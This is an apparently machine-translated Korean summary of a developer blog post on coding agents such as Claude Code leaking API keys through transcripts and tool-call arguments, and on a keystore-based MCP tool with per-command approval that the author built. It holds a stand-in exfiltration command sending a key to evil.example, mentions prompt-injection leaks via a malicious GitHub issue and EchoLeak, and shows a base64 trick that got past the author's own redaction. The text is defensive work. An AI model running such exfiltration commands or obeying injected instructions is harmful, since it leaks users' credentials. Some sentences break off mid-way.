Claude Code가 내 비밀 정보를 계속 출력하는 이유: 후크(hook) 기반 마스킹만으로는 부족한 이유
요약
Claude Code와 같은 코딩 에이전트 사용 시, 환경 변수나 API 키 등의 비밀 정보가 대화 기록이나 도구 호출 인자 등을 통해 유출될 위험이 높습니다. 단순한 출력 후크(hook) 기반 마스킹만으로는 사전에 값이 프로세스에 노출되는 것을 막을 수 없으며, 근본적인 보안 설계 개선이 필요합니다.
핵심 포인트
- 코딩 에이전트는 환경 변수나 API 키를 대화 기록에 그대로 출력할 위험이 있습니다.
- 비밀 정보 유출은 응답 외에도 도구 호출 인자, 요청 로그 등 다양한 경로로 발생합니다.
- 단순한 후크 기반 마스킹은 사후 대응일 뿐, 근본적인 보안 취약점을 해결하지 못합니다.
실제 API를 대상으로 Claude Code(또는 다른 코딩 에이전트)를 사용할 경우, 아마 다음과 같은 장면을 목격했을 것입니다. Stripe 호출을 요청하면, '설정 확인'을 위해 env나 cat .env 명령어를 실행하고, 그 과정에서 라이브 키가 대화 기록에 스크롤되어 지나가는 것을 말입니다.
당신만 겪는 일이 아닙니다. Claude Code의 이슈 트래커에는 비슷한 형태의 보고서들이 줄지어 있습니다:
- 에이전트가 환경 변수(env-var) 비밀 정보를 이름으로 언급하는 대신 그대로 출력하여, 리포터가 키를 계속 순환시키는 문제 (#56103);
- 모델이 비밀 값을 Bash 도구 호출 인자(tool-call arguments)에 직접 삽입하는 문제 (#56025);
- 6일 동안 3건의 유출 사고가 발생하여, 하네스 레벨(harness-level) 출력 마스킹을 요청받은 사례 (#65122);
- 순수 Claude Code가 자격 증명 파일(credential files)을 대화 내용으로 읽어들이는 문제 (#66044).
이들 대부분은 이미 종결되고 잠겨 있는 이슈들이라, 만약 검색을 통해 이곳에 오셨다면 이 게시글이 제가 남길 수밖에 없었던 답변입니다.
이것이 '앗, 스크롤백에 있다'보다 더 중요한 이유
모델의 컨텍스트(context)에 도달한 비밀 정보는 에이전트가 가진 모든 채널을 통해 유출될 수 있습니다. 응답, 커밋되는 생성 코드, 도구 호출 내 URL, 요청 로그, 전체 프롬프트를 저장하는 관측 가능성(observability) 도구, 공유된 세션 대화 기록 등이 그 경로입니다.
게다가 에이전트는 하루 종일 신뢰할 수 없는 입력(untrusted input)을 읽습니다. 이슈, README 파일, 웹 페이지, 다른 MCP 서버의 결과물 등 말이죠. 프롬프트 인젝션(Prompt injection)은 이를 데이터 유출 경로로 바꿉니다. Invariant Labs는 악성 GitHub 이슈 하나만으로 에이전트가 비공개 리포지토리 데이터를 유출하게 만든 사례를 보여주었으며, EchoLeak (CVE-2025-32711)은 M365 Copilot에서 클릭 없이 데이터를 유출하는 사례였습니다. 모델들은 이러한 상황에 저항하도록 훈련됩니다. 아무도 실패율이 0%라고 주장하지 않으며, 단 한 번의 키 유출만으로도 문제가 발생할 수 있습니다.
커뮤니티의 해결책: 후크를 이용해 출력 내용을 마스킹하기
일반적인 우회 방법은 도구 출력을 재작성하고 키처럼 보이는 모든 것을 마스킹하는 PostToolUse 후크입니다. 이것이 도움이 되기는 하지만, 세 가지 구조적 문제가 있습니다.
1. 사후에 작동합니다. 후크가 출력 내용을 확인하는 시점에는 이미 해당 값이 에이전트의 프로세스 환경(process environment)에 존재하며, 에이전트는 그 값을 사용할 수 있습니다. 트랜스크립트를 마스킹한다고 해서 curl "https://evil.example/?k=$STRIPE_KEY"와 같은 상황을 막지는 못합니다. 모델은 이 값을 보내기 위해 볼 필요조차 없었습니다.
2. 출력에 도달하지 않은 것을 잡아낼 수 없습니다. 모델이 비밀 정보를 도구 호출 인자(tool-call argument)에 내장할 때(#56025), 유출은 어떠한 출력 후크가 작동하기 전에, 입력되는 과정에서 발생합니다.
3. 형식 기반 블랙리스트는 형식을 놓칩니다. 대부분의 마스킹 기능은 sk-..., ghp_..., AKIA...와 같이 자격 증명처럼
이것은 정확히 두 개의 도구만 가진 MCP 서버입니다:
list_secrets는 이름과 설명만 반환합니다.exec_with_secrets는 이름을 지정한 비밀(secret)을 _해당 자식 프로세스(child process)_에 주입하여 하나의 명령어를 실행합니다. 값은 dotfile에서 오는 것이 아니라 OS 키 저장소(Keychain, DPAPI, Secret Service)에서 옵니다.
의도적으로 비밀을 저장하는 도구는 없습니다. 만약 모델이 도구 호출을 통해 값을 작성할 수 있다면, 그 값은 컨텍스트에 있게 되고 전체 설계가 무효화될 것입니다. 값들은 out-of-band 방식으로, stdin을 통해 전달됩니다.
명령어별 승인 (Approval, per command)
값을 컨텍스트 밖에 유지하더라도 여전히 문제 1이 남아 있습니다: 주입된 에이전트가 자신이 본 적 없는 키를 _사용_할 수 있다는 것입니다. 주어진 사용 사례가 의도된 것인지 판단할 수 있는 것은 오직 인간뿐입니다.
그래서 모든 exec_with_secrets 호출은 세션, 비밀, 그리고 **전체 명령어(full command)**를 보여주는 네이티브 OS 대화 상자를 띄웁니다. 승인(approval)은 그 정확한 명령어 문자열을 해당 에이전트 세션에서 15분 동안 커버하며, 메모리에만 보관됩니다. 다른 명령어가 들어오면 다시 요청하고, 동일한 명령어를 반복한다고 해서 재요청하는 것은 아니므로 읽지 않고 '허용(Allow)' 버튼을 누르는 습관이 생기지 않습니다.
제 첫 번째 버전에서는
출력은 모델로 반환되기 전에 여전히 마스킹되지만, 형식 추측이 아닌 각 주입된 비밀 값의 알려진 값을 기반으로 합니다. 제공업체의 새 접두사를 놓칠 수 있는 블랙리스트는 없습니다. 평문(Plaintext), 16진수(hex), URL 인코딩 및 base64가 모두 처리됩니다.
내가 발견한 자체 마스킹 버그
이 내용을 작성하는 동안 나는 내 도구에 대한 명백한 공격을 시도해 보았습니다:
keygrant exec --redact STRIPE_KEY -- \
sh -c 'echo "Authorization: Bearer $STRIPE_KEY" | base64'
이전 버전은 키를 인코딩된 상태로 전체 출력했습니다.
Base64는 3바이트 그룹으로 인코딩되므로, 같은 키라도 앞에 무엇이 오느냐에 따라 완전히 다른 문자로 인코딩됩니다. "Authorization: Bearer "는 22바이트이며 3의 배수가 아니기 때문에, 이로 인해 키가 다른 정렬(alignment)로 이동합니다. 내 마스킹은 키가 단독으로 인코딩된 경우, 즉 오프셋 0에서만 일치했습니다. 그 앞에 어떤 것이라도 있으면 전체 키가 출력에서 복구될 수 있었습니다.
수정 사항: 세 가지 모든 정렬에서 비밀을 인코딩하고 키 자체에 의존하는 중간 문자만 일치시킵니다. 가장자리 문자는 주변 바이트의 몇 비트를 섞어 넣기 때문에 키를 재구성할 수 없습니다. 회귀 테스트는 모든 정렬에서 마스킹된 출력으로부터 키를 디코드하려고 시도하며, 이전 코드는 92개 케이스에서 실패했습니다. 0.1.6 버전에서 수정되었습니다:
QXV0aG9yaXphdGlvbjogQmVhcmVyIH[STRIPE_KEY:base64:REDACTED]Ao=
이는 또한 아키텍처에 대한 최고의 논거이기도 합니다. 마스킹은 안전장치(backstop)이며, 안전장치에는 구멍이 있습니다. 경계는 값이 에이전트에게 도달하지 않는 것입니다.
이것이 보호하지 못하는 것들
- 승인된 악성 명령어는 여전히 키를 유출합니다. 대화 내용에 전체 명령어가 표시되므로, 이를 읽는 것이 통제 수단입니다. 다음 단계는 비밀 정보 출구 허용 목록(Per-secret egress allowlists)을 설정하는 것입니다 (
STRIPE_KEY의 경우api.stripe.com으로만 허용). - 마스킹은 알지 못하는 인코딩에 의해 우회될 수 있으며, 파일에 기록되었다가 나중에 다시 읽어온 값은 출력 마스킹 시스템에서 전혀 감지되지 않습니다.
- 로컬 악성 코드는 범위 밖입니다. 사용자 권한으로 실행되는 모든 것은 키 저장소(keystore)를 읽을 수 있습니다. 이는 에이전트가 접근할 수 있는 범위를 제한하는 것이며, 안티바이러스 기능은 아닙니다.
사용해보기
uv tool install keygrant # 또는: pipx install keygrant (Python >= 3.10)
keygrant init # .mcp.json 및 CLAUDE.md 가이드를 작성합니다
echo "sk-..." | keygrant set STRIPE_KEY --desc "stripe, test mode"
Claude Code를 재시작하고
AI 자동 생성 콘텐츠
본 콘텐츠는 Dev.to AI tag의 원문을 AI가 자동으로 요약·번역·분석한 것입니다. 원 저작권은 원저작자에게 있으며, 정확한 내용은 반드시 원문을 확인해 주세요.
원문 바로가기